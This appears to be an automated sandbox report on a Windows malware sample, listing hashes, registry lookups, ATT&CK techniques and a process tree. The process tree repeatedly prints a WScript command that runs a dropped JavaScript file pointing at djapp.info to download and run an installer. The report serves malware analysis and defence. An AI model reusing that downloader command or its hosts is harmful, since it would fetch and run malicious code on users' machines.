5cf4f691c96cd213b28b8a3abcdbad1ef86b2a0fe6643cb71b215a5461517c08

General

Target

d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe
Size

184KB
MD5

d27766389a6a0e6f00ec4c0e15b78477
SHA1

d3193077003490491b451ccc325a939943ab1c00
SHA256

5cf4f691c96cd213b28b8a3abcdbad1ef86b2a0fe6643cb71b215a5461517c08
SHA512

7a7fef6d4d0bd8050e28397b05da8239abe39e56ab56843971c18f6d6d76d139aece8630743fec0ac5eac9b8040596e223a73502be1598f3aa8bc6f09dc8dcc1
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3hK:/7BSH8zUB+nGESaaRvoB7FJNndnwK

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
7	3508	WScript.exe
20	1924	WScript.exe
29	3944	WScript.exe
34	4512	WScript.exe
38	4976	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4320 wrote to memory of 3508	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	84
PID 4320 wrote to memory of 3508	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	84
PID 4320 wrote to memory of 3508	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	84
PID 4320 wrote to memory of 1924	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	88
PID 4320 wrote to memory of 1924	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	88
PID 4320 wrote to memory of 1924	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	88
PID 4320 wrote to memory of 3944	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	96
PID 4320 wrote to memory of 3944	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	96
PID 4320 wrote to memory of 3944	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	96
PID 4320 wrote to memory of 4512	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	98
PID 4320 wrote to memory of 4512	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	98
PID 4320 wrote to memory of 4512	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	98
PID 4320 wrote to memory of 4976	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	99
PID 4320 wrote to memory of 4976	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	99
PID 4320 wrote to memory of 4976	4320	d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe	99

C:\Users\Admin\AppData\Local\Temp\d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\d27766389a6a0e6f00ec4c0e15b78477_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4320
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8184.js" http://www.djapp.info/?domain=pJIfAnujWP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8184.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3508
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8184.js" http://www.djapp.info/?domain=pJIfAnujWP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8184.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1924
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8184.js" http://www.djapp.info/?domain=pJIfAnujWP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8184.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3944
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8184.js" http://www.djapp.info/?domain=pJIfAnujWP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8184.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4512
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8184.js" http://www.djapp.info/?domain=pJIfAnujWP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8184.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf8184.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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